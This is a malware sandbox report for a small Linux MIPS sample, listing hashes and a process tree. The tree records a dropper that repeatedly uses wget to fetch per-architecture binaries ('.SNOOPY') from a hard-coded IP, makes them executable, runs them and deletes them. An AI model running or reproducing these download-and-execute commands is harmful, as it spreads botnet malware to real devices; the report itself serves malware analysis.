Analysis

  • max time kernel
    21s
  • max time network
    25s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20231215-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20231215-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    01/02/2024, 23:38

General

  • Target

    87f6cdd9e7b20463d16dbc0a987da1e0

  • Size

    2KB

  • MD5

    87f6cdd9e7b20463d16dbc0a987da1e0

  • SHA1

    cf961f122cee39b32a2897d63318d58596b52035

  • SHA256

    2903715c715b076a071f7d487094390c9011eca9b0148c232514383c53e7f459

  • SHA512

    d66eec9549580ae7f9d11c7e41e46e7c10e3ba95dca93b19198f9cd1613b9b18cd2471f6931fbe84b13dd213ebc1fae7bb878553e6c337633be0587576b3d888

Score
1/10

Malware Config

Signatures

Processes

  • /tmp/87f6cdd9e7b20463d16dbc0a987da1e0
    /tmp/87f6cdd9e7b20463d16dbc0a987da1e0
    1⤵
      PID:710
      • /usr/bin/wget
        wget http://66.70.188.177/m-i.p-s.SNOOPY
        2⤵
          PID:714
        • /bin/chmod
          chmod +x m-i.p-s.SNOOPY
          2⤵
            PID:728
          • /tmp/m-i.p-s.SNOOPY
            ./m-i.p-s.SNOOPY
            2⤵
              PID:729
            • /bin/rm
              rm -rf m-i.p-s.SNOOPY
              2⤵
                PID:731
              • /usr/bin/wget
                wget http://66.70.188.177/m-p.s-l.SNOOPY
                2⤵
                  PID:732
                • /bin/chmod
                  chmod +x m-p.s-l.SNOOPY
                  2⤵
                    PID:734
                  • /tmp/m-p.s-l.SNOOPY
                    ./m-p.s-l.SNOOPY
                    2⤵
                      PID:735
                    • /bin/rm
                      rm -rf m-p.s-l.SNOOPY
                      2⤵
                        PID:736
                      • /usr/bin/wget
                        wget http://66.70.188.177/s-h.4-.SNOOPY
                        2⤵
                          PID:737
                        • /bin/chmod
                          chmod +x s-h.4-.SNOOPY
                          2⤵
                            PID:738
                          • /tmp/s-h.4-.SNOOPY
                            ./s-h.4-.SNOOPY
                            2⤵
                              PID:739
                            • /bin/rm
                              rm -rf s-h.4-.SNOOPY
                              2⤵
                                PID:740
                              • /usr/bin/wget
                                wget http://66.70.188.177/x-8.6-.SNOOPY
                                2⤵
                                  PID:741
                                • /bin/chmod
                                  chmod +x x-8.6-.SNOOPY
                                  2⤵
                                    PID:742
                                  • /tmp/x-8.6-.SNOOPY
                                    ./x-8.6-.SNOOPY
                                    2⤵
                                      PID:743
                                    • /bin/rm
                                      rm -rf x-8.6-.SNOOPY
                                      2⤵
                                        PID:744
                                      • /usr/bin/wget
                                        wget http://66.70.188.177/a-r.m-6.SNOOPY
                                        2⤵
                                          PID:745
                                        • /bin/chmod
                                          chmod +x a-r.m-6.SNOOPY
                                          2⤵
                                            PID:746
                                          • /tmp/a-r.m-6.SNOOPY
                                            ./a-r.m-6.SNOOPY
                                            2⤵
                                              PID:747
                                            • /bin/rm
                                              rm -rf a-r.m-6.SNOOPY
                                              2⤵
                                                PID:748
                                              • /usr/bin/wget
                                                wget http://66.70.188.177/x-3.2-.SNOOPY
                                                2⤵
                                                  PID:749
                                                • /bin/chmod
                                                  chmod +x x-3.2-.SNOOPY
                                                  2⤵
                                                    PID:750
                                                  • /tmp/x-3.2-.SNOOPY
                                                    ./x-3.2-.SNOOPY
                                                    2⤵
                                                      PID:751
                                                    • /bin/rm
                                                      rm -rf x-3.2-.SNOOPY
                                                      2⤵
                                                        PID:752
                                                      • /usr/bin/wget
                                                        wget http://66.70.188.177/a-r.m-7.SNOOPY
                                                        2⤵
                                                          PID:753
                                                        • /bin/chmod
                                                          chmod +x a-r.m-7.SNOOPY
                                                          2⤵
                                                            PID:754
                                                          • /tmp/a-r.m-7.SNOOPY
                                                            ./a-r.m-7.SNOOPY
                                                            2⤵
                                                              PID:755
                                                            • /bin/rm
                                                              rm -rf a-r.m-7.SNOOPY
                                                              2⤵
                                                                PID:756
                                                              • /usr/bin/wget
                                                                wget http://66.70.188.177/p-p.c-.SNOOPY
                                                                2⤵
                                                                  PID:757
                                                                • /bin/chmod
                                                                  chmod +x p-p.c-.SNOOPY
                                                                  2⤵
                                                                    PID:758
                                                                  • /tmp/p-p.c-.SNOOPY
                                                                    ./p-p.c-.SNOOPY
                                                                    2⤵
                                                                      PID:759
                                                                    • /bin/rm
                                                                      rm -rf p-p.c-.SNOOPY
                                                                      2⤵
                                                                        PID:760
                                                                      • /usr/bin/wget
                                                                        wget http://66.70.188.177/i-5.8-6.SNOOPY
                                                                        2⤵
                                                                          PID:761
                                                                        • /bin/chmod
                                                                          chmod +x i-5.8-6.SNOOPY
                                                                          2⤵
                                                                            PID:767
                                                                          • /tmp/i-5.8-6.SNOOPY
                                                                            ./i-5.8-6.SNOOPY
                                                                            2⤵
                                                                              PID:769
                                                                            • /bin/rm
                                                                              rm -rf i-5.8-6.SNOOPY
                                                                              2⤵
                                                                                PID:770
                                                                              • /usr/bin/wget
                                                                                wget http://66.70.188.177/m-6.8-k.SNOOPY
                                                                                2⤵
                                                                                  PID:772
                                                                                • /bin/chmod
                                                                                  chmod +x m-6.8-k.SNOOPY
                                                                                  2⤵
                                                                                    PID:777
                                                                                  • /tmp/m-6.8-k.SNOOPY
                                                                                    ./m-6.8-k.SNOOPY
                                                                                    2⤵
                                                                                      PID:779
                                                                                    • /bin/rm
                                                                                      rm -rf m-6.8-k.SNOOPY
                                                                                      2⤵
                                                                                        PID:780
                                                                                      • /usr/bin/wget
                                                                                        wget http://66.70.188.177/p-p.c-.SNOOPY
                                                                                        2⤵
                                                                                          PID:781
                                                                                        • /bin/chmod
                                                                                          chmod +x p-p.c-.SNOOPY
                                                                                          2⤵
                                                                                            PID:787
                                                                                          • /tmp/p-p.c-.SNOOPY
                                                                                            ./p-p.c-.SNOOPY
                                                                                            2⤵
                                                                                              PID:789
                                                                                            • /bin/rm
                                                                                              rm -rf p-p.c-.SNOOPY
                                                                                              2⤵
                                                                                                PID:790
                                                                                              • /usr/bin/wget
                                                                                                wget http://66.70.188.177/a-r.m-4.SNOOPY
                                                                                                2⤵
                                                                                                  PID:792
                                                                                                • /bin/chmod
                                                                                                  chmod +x a-r.m-4.SNOOPY
                                                                                                  2⤵
                                                                                                    PID:797
                                                                                                  • /tmp/a-r.m-4.SNOOPY
                                                                                                    ./a-r.m-4.SNOOPY
                                                                                                    2⤵
                                                                                                      PID:799
                                                                                                    • /bin/rm
                                                                                                      rm -rf a-r.m-4.SNOOPY
                                                                                                      2⤵
                                                                                                        PID:800
                                                                                                      • /usr/bin/wget
                                                                                                        wget http://66.70.188.177/a-r.m-5.SNOOPY
                                                                                                        2⤵
                                                                                                          PID:801
                                                                                                        • /bin/chmod
                                                                                                          chmod +x a-r.m-5.SNOOPY
                                                                                                          2⤵
                                                                                                            PID:806
                                                                                                          • /tmp/a-r.m-5.SNOOPY
                                                                                                            ./a-r.m-5.SNOOPY
                                                                                                            2⤵
                                                                                                              PID:808
                                                                                                            • /bin/rm
                                                                                                              rm -rf a-r.m-5.SNOOPY
                                                                                                              2⤵
                                                                                                                PID:812

                                                                                                            Network

                                                                                                            MITRE ATT&CK Matrix

                                                                                                            Replay Monitor

                                                                                                            Loading Replay Monitor...

                                                                                                            Downloads